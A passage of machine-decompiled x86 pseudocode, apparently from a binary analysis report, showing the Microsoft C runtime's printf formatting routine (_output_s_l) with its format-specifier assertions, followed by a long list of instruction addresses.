																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E00428360(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041ACE0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x440374; // 0xf2632e26
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xf2d1ae26
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xf2c8ae26
																						E00424550(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E004283A0(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428360(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428360(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428360(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E00428360(__ebp + 0x14);
																		__eax = E00433F00();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E210();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																			__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ACB0(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x328) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x328);
																		 *(__ebp - 0x290) =  *(__ebp - 0x328);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428360(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L101:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x28c) =  *(__ebp - 4);
																			while(1) {
																				L104:
																				__ecx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L105:
																				__eax =  *(__ebp - 0x28c);
																				__ecx =  *( *(__ebp - 0x28c));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L106:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			}
																			L107:
																			__eax =  *(__ebp - 0x28c);
																			__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L108;
																		} else {
																			L94:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404438
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x294) =  *(__ebp - 4);
																			while(1) {
																				L97:
																				__edx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags =  *(__ebp - 0x290);
																				if( *(__ebp - 0x290) == 0) {
																					break;
																				}
																				L98:
																				__ecx =  *(__ebp - 0x294);
																				__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L99:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			}
																			L100:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L108:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																	case 0xc:
																		L145:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																}
															case 8:
																L30:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L33;
															case 9:
																L31:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L33;
															case 0xa:
																L29:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xb:
																L28:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L33;
															case 0xc:
																L32:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xd:
																L33:
																goto L218;
														}
													} else {
														if(0 == 0) {
															 *(_t557 - 0x314) = 0;
														} else {
															 *(_t557 - 0x314) = 1;
														}
														_t543 =  *(_t557 - 0x314);
														 *(_t557 - 0x278) =  *(_t557 - 0x314);
														if( *(_t557 - 0x278) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t526 = L0041E210();
															_t559 = _t559 + 0x14;
															if(_t526 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t557 - 0x278) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422D00(_t543))) = 0x16;
															E00422A90(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t557 - 0x2f0) = 0xffffffff;
															E0041ACB0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2f0);
															L229:
															return E0042BCB0(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
														}
													}
												}
												L219:
												__eflags =  *(_t557 - 0x25c);
												if( *(_t557 - 0x25c) == 0) {
													L222:
													 *(_t557 - 0x334) = 1;
													L223:
													_t530 =  *(_t557 - 0x334);
													 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t504 = L0041E210();
														_t559 = _t559 + 0x14;
														__eflags = _t504 - 1;
														if(_t504 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) != 0) {
														 *(_t557 - 0x300) =  *(_t557 - 0x24c);
														E0041ACB0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x300);
													} else {
														 *((intOrPtr*)(L00422D00(_t530))) = 0x16;
														E00422A90(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t557 - 0x2fc) = 0xffffffff;
														E0041ACB0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x2fc);
													}
													goto L229;
												}
												L220:
												__eflags =  *(_t557 - 0x25c) - 7;
												if( *(_t557 - 0x25c) == 7) {
													goto L222;
												}
												L221:
												 *(_t557 - 0x334) = 0;
												goto L223;
											}
										}
										L187:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L189:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L190;
										}
										L188:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L190;
										}
										goto L189;
									}
									L183:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2bc);
									__edx =  *(__ebp - 0x2c0);
									__eax = E00430780( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
									 *(__ebp - 0x2ac) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2bc);
									__ecx =  *(__ebp - 0x2c0);
									 *(__ebp - 0x2c0) = E00430800( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2bc) = __edx;
									__eflags =  *(__ebp - 0x2ac) - 0x39;
									if( *(__ebp - 0x2ac) > 0x39) {
										__edx =  *(__ebp - 0x2ac);
										__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2ac) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2ac);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									goto L182;
								}
							}
							L168:
							__eflags =  *(__ebp - 0x2b8);
							if( *(__ebp - 0x2b8) >= 0) {
								goto L170;
							}
							goto L169;
							L170:
							__ecx =  *(__ebp - 0x2b8);
							 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
							__edx =  *(__ebp - 0x2b4);
							 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
							goto L171;
						}
					}
				}
			}

0x00434fa7
0x00434fa7
0x00434fa7
0x00434fa7
0x00434fa7
0x00434fa7
0x00434fa7
0x00434fb1
0x00434fb1
0x00434fb1
0x00434fbb
0x00434fbb
0x00434fc1
0x00434fc3
0x00434fcd
0x00434fcd
0x00434fd0
0x00434fd3
0x00434fd3
0x00434ffa
0x00434ffa
0x00434ffd
0x00434ffd
0x00435002
0x00435024
0x00435024
0x0043502a
0x0043504c
0x0043504c
0x0043504f
0x00435096
0x00435096
0x00435099
0x004350b6
0x004350ba
0x004350c2
0x004350c2
0x004350c4
0x004350ca
0x0043509b
0x0043509b
0x0043509f
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435054
0x00435057
0x00435075
0x00435081
0x00435084
0x00435085
0x0043508b
0x00435059
0x00435059
0x0043505d
0x00435065
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x0043502c
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435004
0x00435010
0x00435016
0x00435016
0x004350d3
0x004350d3
0x004350d6
0x00000000
0x00000000
0x004350d8
0x004350d8
0x004350df
0x00000000
0x00000000
0x004350e1
0x004350e1
0x004350ec
0x004350f2
0x004350f4
0x004350fa
0x004350fd
0x004350ff
0x00435105
0x0043510e
0x00435113
0x00435130
0x00435133
0x00435133
0x00435138
0x0043513d
0x0043513d
0x00435143
0x00435145
0x0043514b
0x00435151
0x00435151
0x0043515a
0x0043515a
